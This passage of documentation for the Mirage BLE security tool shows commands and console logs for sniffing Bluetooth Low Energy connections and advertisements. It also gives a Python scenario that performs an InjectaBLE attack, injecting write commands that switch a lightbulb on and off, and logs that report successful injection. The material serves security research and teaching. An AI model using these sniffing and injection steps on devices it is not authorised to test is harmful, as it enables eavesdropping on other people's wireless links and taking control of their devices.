	│ 0x50657d54     │ 0x3e1735 │ 0x1fffffc000 │ 9            │ 12            │
	└────────────────┴──────────┴──────────────┴──────────────┴───────────────┘
	[PACKET] [ CH:22|CLK:1559233059.399714|RSSI:0dBm ] << BLE - Read Request Packet | handle=0x3 >>
	[PACKET] [ CH:3|CLK:1559233059.4457|RSSI:0dBm ] << BLE - Read Response Packet | value=53616c6f6e >>
	[INFO] Mirage process terminated !



As a consequence, you can set the optional input parameters such as *ACCESS_ADDRESS*, *CRC_INIT* and *CHANNEL_MAP*. It allows to skip the first parts of the recovery algorithm.
::


	$ sudo mirage ble_sniff SNIFFING_MODE=existingConnections ACCESS_ADDRESS=0x20ab5b4e CRC_INIT=0x91edb8 CHANNEL_MAP=0x1e007fffff
	[INFO] Module ble_sniff loaded !
	[SUCCESS] BTLEJack device #0 successfully instantiated (firmware version : 3.14)
	[INFO] Custom Mirage Firmware used ! Advertisements sniffing and jamming will be supported.
	[INFO] Recovering Hop Interval ...
	[SUCCESS] Hop Interval successfully recovered : 36
	[INFO] Recovering Hop Increment ...
	[SUCCESS] Hop Increment successfully recovered : 9
	[INFO] All parameters recovered, following connection ...
	┌Sniffed Connection─────────┬──────────────┬──────────────┬───────────────┐
	│ Access Address │ CRCInit  │ Channel Map  │ Hop Interval │ Hop Increment │
	├────────────────┼──────────┼──────────────┼──────────────┼───────────────┤
	│ 0x20ab5b4e     │ 0x91edb8 │ 0x1e007fffff │ 36           │ 9             │
	└────────────────┴──────────┴──────────────┴──────────────┴───────────────┘
	[PACKET] [ CH:21|CLK:1559255444.557323|RSSI:0dBm ] << BLE - Read Request Packet | handle=0x3 >>
	[PACKET] [ CH:3|CLK:1559255444.604735|RSSI:0dBm ] << BLE - Read Response Packet | value=53616c6f6e >>
	[PACKET] [ CH:33|CLK:1559255445.861934|RSSI:0dBm ] << BLE - Read Request Packet | handle=0x3 >>
	[PACKET] [ CH:5|CLK:1559255445.910482|RSSI:0dBm ] << BLE - Read Response Packet | value=53616c6f6e >>
	[PACKET] [ CH:18|CLK:1559255453.422026|RSSI:0dBm ] << BLE - Read Request Packet | handle=0x18 >>
	[PACKET] [ CH:0|CLK:1559255453.472249|RSSI:0dBm ] << BLE - Read Response Packet | value=56322e32205231353031323300 >>
	[PACKET] [ CH:4|CLK:1559255457.740629|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_TERMINATE_IND | data=13 >>
	[FAIL] Connection lost !

Sniffing advertisements
^^^^^^^^^^^^^^^^^^^^^^^^
If you want to sniff advertisements, just set the input parameter named *SNIFFING_MODE* to "advertisements". You can also change the channel using the *CHANNEL* parameter (default : 37).
::

	$ sudo mirage ble_sniff SNIFFING_MODE=advertisements
	[INFO] Module ble_sniff loaded !
	[SUCCESS] BTLEJack device #0 successfully instantiated (firmware version : 3.14)
	[INFO] Custom Mirage Firmware used ! Advertisements sniffing and jamming will be supported.
	[PACKET] [ CH:37|CLK:1559255615.785071|RSSI:0dBm ] << BLE - Advertisement Packet | type=ADV_IND | addr=C4:BE:84:39:8E:07 | data=0201060bff0d0006030108b4ff0200 >>
	[PACKET] [ CH:37|CLK:1559255615.795809|RSSI:0dBm ] << BLE - Advertisement Packet | type=ADV_IND | addr=1C:1E:E3:88:4A:C0 | data=0201021107fc9dd0b3cb84e0840642f3f7e1e0bfcb >>
	[PACKET] [ CH:37|CLK:1559255615.889694|RSSI:0dBm ] << BLE - Advertisement Packet | type=ADV_IND | addr=C4:BE:84:39:8E:07 | data=0201060bff0d0006030108b4ff0200 >>
	[PACKET] [ CH:37|CLK:1559255615.912836|RSSI:0dBm ] << BLE - Advertisement Packet | type=SCAN_RSP | addr=C4:BE:84:39:8E:07 | data=100953616c6f6e00000000000000000000051228005000020a00 >>
	[...]

.. warning::
	
	Please note the fact that you need a custom version of BTLEJack if you want to perform this attack from a Microbit device.

Injecting malicious packets using a scenario
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If you use a ButteRFly device, you can implement a scenario allowing to inject arbitrary packets into a sniffed connection using InjectaBLE attack. 
For example, let's imagine you want to inject packets into a Bluetooth Low Energy connection between a lightbulb and a smartphone. You know that the following packets allow to turn the bulb on or off:

* **Write command | handle = 0x0021 | data = 5510010d0a:** turn the bulb on
* **Write command | handle = 0x0021 | data = 5510000d0a:** turn the bulb off

You can write the following scenario, which will inject the "on" packet when the up arrow key is pressed and the "off" packet when the down arrow key is pressed:
::

	from mirage.core import scenario
	from mirage.libs import io,ble,utils

	class lightbulb_injection(scenario.Scenario):

		def onStart(self):
			self.emitter = self.module.getEmitter(self.module["INTERFACE"])

		def onKey(self,key):
			if key == "up":
				self.emitter.send(ble.BLEWriteCommand(handle=0x0021,value=b"\x55\x10\x01\x0d\x0a"))
			elif key == "down":
				self.emitter.send(ble.BLEWriteCommand(handle=0x0021,value=b"\x55\x10\x00\x0d\x0a"))


* Save this scenario as **lightbulb_injection.py** in the *scenarios* folder.
* Run the **ble_sniff** module with the following parameters:
::

	$ sudo mirage ble_sniff SNIFFING_MODE=newConnections SCENARIO=lightbulb_injection INTERFACE=butterfly0
	[INFO] Module ble_sniff loaded !
	[SUCCESS] ButteRFly device successfully instantiated !
	[INFO] Scenario loaded !
	[PACKET] [ CH:37|CLK:81046388.0|RSSI:0dBm ] << BLE - Advertisement Packet | type=CONNECT_REQ | srcAddr=5F:FB:09:F2:AB:3F | dstAddr=74:DA:EA:91:47:E3 | accessAddress=0x6254e35c| crcInit=0x8d0b2d| channelMap=0x1fffe007ff| hopInterval=36| hopIncrement=14 >>

	┌Sniffed Connection─────────┬──────────────┬──────────────┬───────────────┐
	│ Access Address │ CRCInit  │ Channel Map  │ Hop Interval │ Hop Increment │
	├────────────────┼──────────┼──────────────┼──────────────┼───────────────┤
	│ 0x5ce35462     │ 0x2d0b8d │ 0x1fffe007ff │ 36           │ 14            │
	└────────────────┴──────────┴──────────────┴──────────────┴───────────────┘
	[PACKET] [ CH:24|CLK:81076014.0|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_REQ | data=ff7d000000000000 >>
	[PACKET] [ CH:28|CLK:81121245.0|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_RSP | data=0100000000000000 >>
	[...]
	[PACKET] [ CH:21|CLK:82298767.0|RSSI:0dBm ] << BLE - Find Information Response Packet | format=0x1 | data=4100022942000129 >>
	[PACKET] [ CH:35|CLK:82306036.0|RSSI:0dBm ] << BLE - Find Information Request Packet >>
	[PACKET] [ CH:22|CLK:82313767.0|RSSI:0dBm ] << BLE - Error Response Packet | req=0x4 | handle=0x43 | ecode=0xa >>
	[PACKET] [ CH:26|CLK:82321037.0|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_CONNECTION_UPDATE_REQ | data=011e0024000000f4016900 >>
	^[[A[INFO] Starting injection attack: injecting ...
	[SUCCESS] Injection successful after 17 attempts !
	^[[B[INFO] Starting injection attack: injecting ...
	[SUCCESS] Injection successful after 4 attempts !

* **Establish the connection between the smartphone and the lightbulb:** when you are synchronized with the connection, you can simply inject the previously mentioned packets by pressing up or down arrows keys.